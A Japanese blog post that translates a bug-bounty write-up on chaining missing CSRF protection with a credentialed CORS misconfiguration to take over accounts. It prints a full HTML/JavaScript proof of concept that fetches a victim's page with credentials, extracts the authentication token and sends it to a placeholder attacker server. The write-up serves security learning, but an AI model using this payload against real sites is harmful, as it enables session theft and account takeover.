Shikata Ga Nai

Private? There is no such things.

Missing CORS leads to Complete Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

CORSがない場合、アカウントの完全な乗っ取りにつながるを。

 

脆弱性:

 欠落しているCORS

 CSRF

 アカウントの乗っ取り

 

記事:

 https://nirajmodi51.medium.com/missing-cors-leads-to-complete-account-takeover-1ed4b53bf9f2

 

今回のターゲットでテストしていて。

ドメインにアプリケーション全体のCSRFがあることを発見して。

脆弱性が存在していたので、このバグを他のバグと連鎖させると。

何か面白いものが見つかるかもしれないと思って。

 

Burp Suiteを起動し、さらにいくつかのバグを探し始めることに。

テストを開始するときに最も頻繁に行うことの1つは。

資格情報を入力して[ログイン]をクリックしたとき、Burpプロキシをオンにして。

ログイン機能が完了してランディングページが。

ブラウザに完全に読み込まれたときで。

しばらくプロキシをオフにして、Burpの履歴を確認して。

この方法論は、アプリケーションがどのような要求を送信し。

ログイン時に応答が受信されるかをよく理解できて(ログインするだけ)。

 

Burpの履歴タブを見て見つめて、返されるすべての応答を探していると。

注意を引いたのはHTML応答で。

「stage.redacted.com/」のようなメインドメインでは。

HTMLに認証トークンとすべてのセッション関連データが。

含まれていることがわかって。

 

CSRFがなかったので、このデータ(特に認証トークン)を取得すれば。

すべてのユーザの完全なアカウント乗っ取りを実行できることを確認して。

しかし、CSRFは通常、被害者に何らかの行動を起こさせるために悪用されるものの。

この認証トークンは、ユーザがログインした後にHTMLが読み込まれたときに。

被害者のブラウザに表示されただけで。

実際、被害者のページで変更できるものはなくて。

 

現在、ツールとしてCSRFを使用していますが、問題はユーザのブラウザから。

データを取得してサーバに送信することで。

CSRFを使用してできることは、ユーザに代わってリクエストを行うことだけでしたが。

それも被害者がログインしているPCでのみ機能して。

さらにMissingCORSについては応答ヘッダに。

「Access-Control-Allow-Credential:True」であることに気づいて。

そして現在、ツールとしてCSRFとMissingCORSが手元にあるので。

悪意のあるページを作成して被害者に送信するとどうなるか考えて。

 

この悪意のあるページには、2つのコールバックAJAXリクエストがあって。

最初のリクエストは、https://stage.redacted.com/にgetリクエストを発行し。

そのレスポンスには認証トークンを含むHTMLが含まれ。

2番目のリクエストは、そのHTML応答をサーバのURLに追加し。

サーバにリクエストを送信するので。

ログを使用して、HTMLデータ、つまり認証トークンを取得できて。

 

プログラミングに関しては素人ですが、スクリプトを作成するのは簡単なことで。

 

<!DOCTYPE html>
<html>
<body onload = “loadDoc(‘https://www.redacted.com', myFunction)”>
<div id=”demo”>
<h2>Your account is taken over by <b><i>Jordin</i></b></h2><script>


function loadDoc(url, cFunction) {
  var xhttp;
  xhttp=new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
   if (this.readyState == 4 && this.status == 200) {
    cFunction(this);
   }
  };
  xhttp.open(“GET”, url, true);
  xhttp.withCredentials = true;
  xhttp.send();
}


function myFunction(xhttp) {
  // document.getElementById(“demo”).innerHTML =
  // xhttp.responseText;
  var xhttp1;
  xhttp1=new XMLHttpRequest();
  xhttp1.onreadystatechange = function() {
   if (this.readyState == 4 && this.status == 200) {
    1
   }
  };
 var content = xhttp.responseText;
 var n = content.indexOf(“authentication_token”)


 //Change the url here to attacker controlled server
 url = “https://attacker-server-url.com/" + content.substring(n,);xhttp.open(“GET”, url,  true);
 xhttp.withCredentials = true;
 xhttp.send();
}
</script>
</body>
</html>

 

このスクリプトが必要な認証トークンを送ってくれて。

この脆弱性が発生するためには、CSRFとMissingCORSの2つが非常に重要で。

これがなければ、いくつかの異なる方法を見つける必要があって。

 

Best regards, (^^ゞ